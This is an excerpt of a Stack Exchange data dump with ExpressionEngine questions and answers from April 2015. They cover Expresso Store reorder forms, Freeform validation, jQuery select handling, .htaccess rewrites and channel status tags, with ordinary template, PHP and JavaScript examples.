  <row Id="31125" PostTypeId="2" ParentId="30848" CreationDate="2015-04-21T09:00:18.900" Score="0" Body="&lt;p&gt;This form won't work if there are no modifiers: Store: Can't find product (entry ID: 32, modifiers []) when you submit cart. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a working example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product_form return=&quot;cart/index&quot;}&#xA;    {exp:store:orders order_hash=&quot;{segment_3}&quot;}&#xA;    &amp;lt;section&amp;gt;&#xA;        &amp;lt;h1&amp;gt;Order History&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;div class=&quot;order_status&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;Order Status: &amp;lt;span&amp;gt;{order_status}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;order_totals&quot;&amp;gt;&#xA;            &amp;lt;dl&amp;gt;&#xA;                &amp;lt;dt&amp;gt;Order Placed:&amp;lt;/dt&amp;gt;&#xA;                &amp;lt;dd&amp;gt;{order_date format=&quot;%j %M %Y&quot;}&amp;lt;/dd&amp;gt;&#xA;                &amp;lt;dt&amp;gt;Sub Total:&amp;lt;/dt&amp;gt;&#xA;                &amp;lt;dd&amp;gt;{order_total}&amp;lt;/dd&amp;gt;&#xA;                &amp;lt;dt&amp;gt;Shipping:&amp;lt;/dt&amp;gt;&#xA;                &amp;lt;dd&amp;gt;&amp;lt;/dd&amp;gt;&#xA;                &amp;lt;dt&amp;gt;Account Credit Used:&amp;lt;/dt&amp;gt;&#xA;                &amp;lt;dd&amp;gt;&amp;lt;/dd&amp;gt;&#xA;                &amp;lt;dt&amp;gt;Promo Code Used:&amp;lt;/dt&amp;gt;&#xA;                &amp;lt;dd&amp;gt;&amp;lt;/dd&amp;gt;&#xA;            &amp;lt;/dl&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;order_person&quot;&amp;gt;&#xA;            &amp;lt;dl&amp;gt;&#xA;                &amp;lt;dt&amp;gt;Delivered To:&amp;lt;/dt&amp;gt;&#xA;                &amp;lt;dd&amp;gt;&#xA;                    {shipping_name}&amp;lt;br/&amp;gt;&#xA;                    {shipping_address1}&amp;lt;br/&amp;gt;&#xA;                    {shipping_address2}&amp;lt;br/&amp;gt;&#xA;                    {shipping_city} {shipping_postcode}&amp;lt;br/&amp;gt;&#xA;                    {shipping_state_name}&amp;lt;br/&amp;gt;&#xA;                    {shipping_country_name}&amp;lt;br/&amp;gt;&#xA;                    {shipping_phone}&amp;lt;br/&amp;gt;&#xA;                &amp;lt;/dd&amp;gt;&#xA;            &amp;lt;/dl&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;section class=&quot;order_details&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Order Details: Products Ordered&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;div class=&quot;order_headings&quot;&amp;gt;&#xA;            &amp;lt;div&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;qty_head&quot;&amp;gt;Qty&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;price_head&quot;&amp;gt;Price&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;total_head&quot;&amp;gt;Total&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;reorder&quot;&amp;gt;Reorder&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {items}&#xA;        {exp:channel:entries channel=&quot;products&quot; entry_id=&quot;{entry_id}&quot; dynamic=&quot;no&quot;}&#xA;        {exp:store:product disable_form=&quot;yes&quot; entry_id=&quot;{entry_id}&quot;}&#xA;        &amp;lt;div class=&quot;item&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;item_information&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;http://placehold.it/350x150&quot;&amp;gt;&#xA;                &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{path='store_example/product'}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;small&amp;gt;&amp;lt;b&amp;gt;&amp;lt;a href=&quot;/shop/{categories show_group='1' limit='1'}{category_url_title}{/categories}/{url_title}#reviews&quot; class=&quot;button--action&quot;&amp;gt;Review this product&amp;lt;/a&amp;gt;&amp;lt;/b&amp;gt; &amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;ul class=&quot;categories&quot;&amp;gt;&#xA;                {categories show_group='2'}&#xA;                    &amp;lt;li class=&quot;list__item&quot;&amp;gt;{category_name}&amp;lt;/li&amp;gt;&#xA;                {/categories}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;item_qty&quot;&amp;gt;{item_qty}&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;item_price&quot;&amp;gt;{price}&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;item_subtotal&quot;&amp;gt;{item_subtotal}&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;item_reorder&quot;&amp;gt;&#xA;            {!-- ===/ for redordering these items /=== --}&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;items[{item:count}][entry_id]&quot; value=&quot;{entry_id}&quot; /&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;items[{item:count}][item_qty]&quot; size=&quot;3&quot; value=&quot;1&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {exp:store:product}&#xA;        {/exp:channel:entries}&#xA;        {/items}&#xA;    &amp;lt;/section&amp;gt;&#xA;    {/exp:store:orders}&#xA;    &amp;lt;div class=&quot;item_reorder&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Repeat this order&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/exp:store:product_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2015-04-21T09:14:52.723" LastActivityDate="2015-04-21T09:14:52.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31126" PostTypeId="2" ParentId="31124" CreationDate="2015-04-21T09:10:43.763" Score="0" Body="&lt;p&gt;Not that I know of (Low or SolSpace may chime in if I'm wrong about their modules capacities), however you could do some &quot;magic&quot; on the results template. I'm thinking if you just do a content/entries search, then on your results page you could do a manual/PHP user search (as users have limited fields!) on the results template, appending these results as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By example, something like this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    //get the search term&#xA;    $searchTerm = ee()-&amp;gt;uri-&amp;gt;segment(3);&#xA;&#xA;    //here split the actual search term from the search string&#xA;&#xA;    //Now search the members table&#xA;    $searchedUsers = array();&#xA;    //search username, screen name and email...&#xA;    $query = ee()-&amp;gt;db-&amp;gt;like('user_name',$searchTerm)&#xA;                     -&amp;gt;or_like('screenname',$searchTerm)&#xA;                     -&amp;gt;or_like('email',$searchTerm)&#xA;                     -&amp;gt;get('members');&#xA;    foreach ( $query-&amp;gt;result_array() as $row ) {&#xA;        $searchedUsers[] = $row;&#xA;    }&#xA;?&amp;gt;&#xA;&#xA;{!-- here we display the channel entries results --}&#xA;{exp:low_search:results query=&quot;{segment_3}&quot; limit=&quot;10&quot;}&#xA;    {if count ==  1}&amp;lt;ol&amp;gt;{/if}&#xA;        &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;    {if count == total_results}&amp;lt;/ol&amp;gt;{/if}&#xA;    {if no_results}No search results{/if}&#xA;{/exp:low_search:results}&#xA;&#xA;{!-- And now the member results --}&#xA;&amp;lt;?php &#xA;    if ( !empty($searchedUsers) { &#xA;        echo &quot;&amp;lt;ol&amp;gt;&quot;;&#xA;        foreach ( $searchedUsers as $sUser ) {&#xA;            echo &quot;&amp;lt;li&amp;gt;&quot;.$sUser['screenname'].&quot; - &quot;.$sUser['email'].&quot;&amp;lt;/li&amp;gt;&quot;;&#xA;        }&#xA;        echo &quot;&amp;lt;/ol&amp;gt;&quot;;&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(you'll probably need PHP on Output so you can parse the search tags and get the search term)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By example, absolutely untested but should be a good starting point!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;&lt;strong&gt;After thought - please read&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I think about it, doesn't SolSpace User use a channel to store users data? I could be wrong but maybe you just need to identify the User Channel and feed that into Low Search? Hopefully &lt;a href=&quot;https://expressionengine.stackexchange.com/users/884/solspace&quot;&gt;SolSpace&lt;/a&gt; will pop in and confirm if this works (They're regularly active so shouldn't be too long ;) )...&lt;/strike&gt;&#xA;&lt;em&gt;Scrap this, I was thinking of another module&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-04-22T08:41:42.147" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31127" PostTypeId="2" ParentId="31123" CreationDate="2015-04-21T09:21:26.807" Score="0" Body="&lt;p&gt;Is your JS at issue here or getting the value in the notification template itself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's the JS, you have the &lt;code&gt;each()&lt;/code&gt; iteration wrong. you're targetting the &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; element on the each, but what you want is the child &lt;code&gt;&amp;lt;options&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this, replace : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[...]&#xA;        $recipientChecks.each(function(){&#xA;            if ($(this).is(':selected'))&#xA;            {&#xA;                newVal.push( $('label[for=&quot;' + $(this).attr('id') + '&quot;]').text());&#xA;            }&#xA;        });&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[...]&#xA;        $('input[name^=&quot;the_product&quot;] option').each(function(){&#xA;            if ($(this).is(':selected'))&#xA;            {&#xA;                newVal.push($(this).val());&#xA;            }&#xA;        });&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit : I also notice you're getting the id's not the values of the option's, ammended example..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also make your hidden input a text input for debugging so you can see if its working without inspection...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-21T09:21:26.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31128" PostTypeId="1" CreationDate="2015-04-21T10:32:58.757" Score="0" ViewCount="34" Body="&lt;p&gt;I want to make a new field &quot;untick box if you do not want to receive the e-newsletter' I am using Freeform Pro&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="6241" LastActivityDate="2016-05-31T20:02:31.083" Title="Question regarding Freeform Pro Fields" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31129" PostTypeId="1" AcceptedAnswerId="31132" CreationDate="2015-04-21T11:24:17.023" Score="0" ViewCount="28" Body="&lt;p&gt;Does anyone know if it's possible to batch print invoices from the Orders screen in the CP on Expresso Store? At present my client has to click on &quot;Details&quot; for every order and then click print. This is obviously time consuming when they receive 100s of orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched for plugins that may do this but couldn't find any. Just wondering if I missed something in Store or if there is a plugin available?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are using Store version 2.4.1&lt;/p&gt;&#xA;" OwnerUserId="1508" LastActivityDate="2015-04-21T17:49:17.250" Title="Expresso Store batch printing orders" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31130" PostTypeId="1" CreationDate="2015-04-21T12:25:30.537" Score="0" ViewCount="176" Body="&lt;p&gt;I've got a site that works correctly on localhost and the staging domain, but after moving to the live server all interior pages return a 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.htaccess has the following &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;        RewriteBase /&#xA;&#xA;        # Removes index.php from ExpressionEngine URLs&#xA;        RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;        RewriteCond %{REQUEST_URI} !/cms/.* [NC]&#xA;        RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;        # Directs all EE web requests through the site index file&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE is not running in a subdirectory, i've tried adding the query string option from the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; but no change. Also removed the leading slash from index.php but that didn't make a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? hosted on rackspace&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2015-04-21T12:36:43.080" Title="Remove index.php - interior pages are blank" Tags="|htaccess|404|index.php|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31131" PostTypeId="2" ParentId="31130" CreationDate="2015-04-21T12:36:43.080" Score="2" Body="&lt;p&gt;Are you sure mod_rewrite is installed &amp;amp; enabled? My guess is no!&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2015-04-21T12:36:43.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31132" PostTypeId="2" ParentId="31129" CreationDate="2015-04-21T15:38:55.800" Score="2" Body="&lt;p&gt;There is nothing built in to Store, nor is there an extension that would allow something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While being a bit more work for you, you could use something like &lt;a href=&quot;http://devot-ee.com/add-ons/pdf-press&quot; rel=&quot;nofollow&quot;&gt;PDF Press&lt;/a&gt; and the &lt;code&gt;{exp:store:orders}&lt;/code&gt; tags inside of a template that requires you to be an admin to access. With something like this you could view hundreds of orders at a time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could use Store's email templates and an email rule for orders. Basically you would set up an email template in Store for admins, then send it to a specific email address, then the client could easily set up an email rule on their computer to print any email with a specific subject. I have a  client that has this exact setup on a site and it has worked out well for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally your other option would be to build an extension to add the functionality to Store. You would probably be best to go with the &lt;a href=&quot;https://www.exp-resso.com/docs/extension_hooks.html#store_order_complete_end&quot; rel=&quot;nofollow&quot;&gt;store_order_complete_end&lt;/a&gt; hook if you wanted to do something automatically after each order. Or use the &lt;a href=&quot;https://www.exp-resso.com/docs/extension_hooks.html#reporting_hooks&quot; rel=&quot;nofollow&quot;&gt;Store Reporting hoo&lt;/a&gt;k if you wanted to modify how you access reports in the CP. &lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-04-21T17:49:17.250" LastActivityDate="2015-04-21T17:49:17.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31133" PostTypeId="2" ParentId="31079" CreationDate="2015-04-21T16:19:27.870" Score="1" Body="&lt;p&gt;&lt;strike&gt;I believe you can do some PHP jiggery-pokery here, what you'll want to do is on the template page use PHP to detect which form was submitted (you could set a hidden POST value here, or check the posted collection parameter maybe). Then do &lt;code&gt;unset($_POST['field_id']);&lt;/code&gt; for each of the fields on the other (not to display validation messages) form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's no value in the $_POST it might not throw a validation message, but I'd have to double check this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll try to spin a test up later this week for you, otherwise I'd definatly inspect the &lt;code&gt;$_POST&lt;/code&gt; array on this template after submitting an invalid form&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scrap that...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have spun an example up, and have found your answer...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is you are using the same field's on both forms. A quick fix would be to recreate the fields for form 2 with different ID's, this will seperate your values and validation messages...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example template : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Form 1&amp;lt;/h3&amp;gt;&#xA;{exp:freeform:form&#xA;    form_name=&quot;form1&quot;&#xA;    required=&quot;test_text_1&quot;&#xA;    inline_errors=&quot;yes&quot;&#xA;}&#xA;        {if freeform:error:test_text_1}&#xA;            &amp;lt;span class=&quot;error&quot;&amp;gt;&#xA;                {freeform:error:test_text_1}&#xA;            &amp;lt;/span&amp;gt;&#xA;        {/if}&#xA;&amp;lt;p&amp;gt;&amp;lt;label&amp;gt;{freeform:label:test_text_1}&amp;lt;/label&amp;gt; {freeform:field:test_text_1}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{freeform:submit}&amp;lt;/p&amp;gt;&#xA;{/exp:freeform:form}&#xA;&#xA;&amp;lt;hr /&amp;gt;&#xA;&amp;lt;h3&amp;gt;Form 2&amp;lt;/h3&amp;gt;&#xA;{exp:freeform:form&#xA;    form_name=&quot;form2&quot;&#xA;    required=&quot;test_text2&quot;&#xA;    inline_errors=&quot;yes&quot;&#xA;}&#xA;        {if freeform:error:test_text2}&#xA;            &amp;lt;span class=&quot;error&quot;&amp;gt;&#xA;                {freeform:error:test_text2}&#xA;            &amp;lt;/span&amp;gt;&#xA;        {/if}&#xA;&amp;lt;p&amp;gt;&amp;lt;label&amp;gt;{freeform:label:test_text2}&amp;lt;/label&amp;gt; {freeform:field:test_text2}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{freeform:submit}&amp;lt;/p&amp;gt;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This one works a treat, seperated error messages. If you absolutely &lt;strong&gt;MUST&lt;/strong&gt; have the same fields...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2 Forms, 1 Field&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have to do some foolery here, first things first, we need to create a field in freeform, lets call it &lt;code&gt;fid&lt;/code&gt;. This field is required so we can pass the forms ID through Freeform (it cleans fields that arn't part of the form collection).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as per the example above each form collection has a &lt;code&gt;fid&lt;/code&gt; field and a &lt;code&gt;test_text_1&lt;/code&gt; field. Dont worry, we're never going to display or use this field, its just so we can track through...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then edit your template to be this (PHP on &lt;strong&gt;Input&lt;/strong&gt;) : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//this variable holds the passed form ID, if submitted&#xA;$submittedFid = NULL;&#xA;&#xA;//get the freeform params ID (needed for later)&#xA;$paramsId = ee()-&amp;gt;session-&amp;gt;flashdata('freeform_errors');&#xA;&#xA;//was there a params ID set (if not there's no submission, continue)&#xA;if ( !empty( $paramsId ) ) {&#xA;&#xA;    //get the freeform params info from the db&#xA;    $res = ee()-&amp;gt;db-&amp;gt;where('params_id', $paramsId)-&amp;gt;get('freeform_params');&#xA;&#xA;        //if we have a result, gravy! lets sniff for the submitted form ID&#xA;    if ( $res !== FALSE ) {&#xA;&#xA;                //extract the data/info&#xA;        $res = array_shift($res-&amp;gt;result_array());&#xA;        $paramInfo = json_decode($res['data'], TRUE);&#xA;&#xA;                //did we have a form ID passed through?? &#xA;        if ( !empty( $paramInfo['inputs']['fid'] ) ) {&#xA;&#xA;                        //set the form ID that was submitted&#xA;            $submittedFid = $paramInfo['inputs']['fid'];&#xA;        }&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&#xA;{!-- Here we display form 1 --}&#xA;&amp;lt;h3&amp;gt;Form 1&amp;lt;/h3&amp;gt;&#xA;{exp:freeform:form&#xA;    form_name=&quot;form1&quot;&#xA;    required=&quot;test_text_1&quot;&#xA;    inline_errors=&quot;yes&quot;&#xA;}&#xA;    {!-- here we pass our super secret FID! for this one its '1st_form' --}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;fid&quot; value=&quot;1st_form&quot; /&amp;gt; &#xA;&#xA;    {!-- Display the field --}&#xA;    &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;{freeform:label:test_text_1}&amp;lt;/label&amp;gt; {freeform:field:test_text_1}&amp;lt;/p&amp;gt;&#xA;&#xA;    {!-- Display Error messages if any. First use PHP to see if this is the right form --}&#xA;    &amp;lt;?php if( !empty($submittedFid) &amp;amp;&amp;amp; $submittedFid == &quot;1st_form&quot; ) { ?&amp;gt;&#xA;                {!-- Standard Fredform error syntax --}&#xA;            {if freeform:error:test_text_1}&#xA;                &amp;lt;span class=&quot;error&quot;&amp;gt;{freeform:error:test_text_1}&amp;lt;/span&amp;gt;&#xA;            {/if}&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;    {!-- submit button --}&#xA;    &amp;lt;p&amp;gt;{freeform:submit}&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:freeform:form}&#xA;&#xA;&amp;lt;hr /&amp;gt;&#xA;{!-- Here we display form 2 --}&#xA;&amp;lt;h3&amp;gt;Form 2&amp;lt;/h3&amp;gt;&#xA;{exp:freeform:form&#xA;    form_name=&quot;form2&quot;&#xA;    required=&quot;test_text_1&quot;&#xA;    inline_errors=&quot;yes&quot;&#xA;}&#xA;    {!-- here we pass our super secret FID! for this one its '2nd_form' --}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;fid&quot; value=&quot;2nd_form&quot; /&amp;gt; &#xA;&#xA;    {!-- Display the field --}&#xA;    &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;{freeform:label:test_text_1}&amp;lt;/label&amp;gt; {freeform:field:test_text_1}&amp;lt;/p&amp;gt;&#xA;&#xA;    {!-- Display Error messages if any. First use PHP to see if this is the right form --}&#xA;    &amp;lt;?php if( !empty($submittedFid) &amp;amp;&amp;amp; $submittedFid == &quot;2nd_form&quot; ) { ?&amp;gt;&#xA;                {!-- Standard Fredform error syntax --}&#xA;            {if freeform:error:test_text_1}&#xA;                &amp;lt;span class=&quot;error&quot;&amp;gt;{freeform:error:test_text_1}&amp;lt;/span&amp;gt;&#xA;            {/if}&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;    {!-- submit button --}&#xA;    &amp;lt;p&amp;gt;{freeform:submit}&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There you have it! tested and works a treat (EE 2.9.2 + Freeform 4.2.2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always if this gets you there, help the site and please mark as the answer.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-04-21T17:44:44.287" LastActivityDate="2015-04-21T17:44:44.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31134" PostTypeId="1" AcceptedAnswerId="31641" CreationDate="2015-04-21T17:31:14.303" Score="0" ViewCount="115" Body="&lt;p&gt;We faced a weird issue with &lt;strong&gt;status=&quot;Featured&quot;&lt;/strong&gt; for our channel entry tag today, when we changed the custom status of our health topic channel entry from &quot;Featured&quot; to &quot;Closed&quot;, and created a new health topic channel entry with the status=&quot;Featured&quot;. This process has worked in the past, but doesn't seem to work today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tag looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;health_topics&quot; limit=&quot;1&quot; status=&quot;Featured&quot; dynamic=&quot;no&quot;}&#xA;//HTML code&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing is displayed is the sections with the above snippet.&#xA;This issue is common to another channel &quot;Event&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the issue? &#xA;Any assistance is much appreciated.&#xA;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="6195" LastEditorUserId="115" LastEditDate="2015-04-21T17:56:57.950" LastActivityDate="2015-05-26T23:51:13.600" Title="“Featured” status not working" Tags="|status|dynamic|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31135" PostTypeId="2" ParentId="31123" CreationDate="2015-04-21T18:13:23.900" Score="2" Body="&lt;p&gt;Using your fiddle, use this as your JS : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    var newVal = [];&#xA;    $('select[name=&quot;the_product&quot;]').change(function(e){&#xA;        $('input#freeform_product').val('');&#xA;        $('select[name=&quot;the_product&quot;] option').each(function(){&#xA;            if ($(this).is(':selected')) {&#xA;                newVal.push($(this).attr('value'));&#xA;            }&#xA;        });&#xA;        $('input#freeform_product').val(newVal.join(', '));&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Very much simplified, you had a scope issue around newVal...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS&gt; JUST this, no other JS...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-04-21T18:22:42.533" LastActivityDate="2015-04-21T18:22:42.533" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31136" PostTypeId="2" ParentId="31134" CreationDate="2015-04-21T18:21:34.087" Score="0" Body="&lt;p&gt;First things first, have you double checked your Status Group assignment in Channel Groups?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Admin -&amp;gt; Channel Administration -&amp;gt; Channels -&amp;gt; Edit Group Assignments&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if you have checked this, you don't mention anything about your Status group setup and it's always good to start at the start!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-21T18:21:34.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31137" PostTypeId="2" ParentId="31128" CreationDate="2015-04-21T18:32:13.393" Score="0" Body="&lt;p&gt;Wouldn't you just use a checkbox??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/freeform/default_fieldtypes/#checkbox&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.solspace.com/docs/freeform/default_fieldtypes/#checkbox&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you'll want to work your caption carefully (untick to  ...) and you probably want to render the checkbox yourself instead of letting freeform do it, so you can set it to checked to start with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; id=&quot;freeform_field_id&quot; name=&quot;freeform_field_id&quot; value=&quot;Y&quot; {if '{freeform:value:optin}' == 'Y'}checked=checked{/if} /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, see here : &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14498/freeform-pro-checkbox-requied-field&quot;&gt;FreeForm PRO checkbox requied field&lt;/a&gt; its not got an answer ticked but is relivent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here : &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9238/any-way-to-pass-a-checkbox-value-in-freeform-not-pro-version&quot;&gt;Any way to pass a checkbox value in Freeform (not Pro version)?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-04-21T18:32:13.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
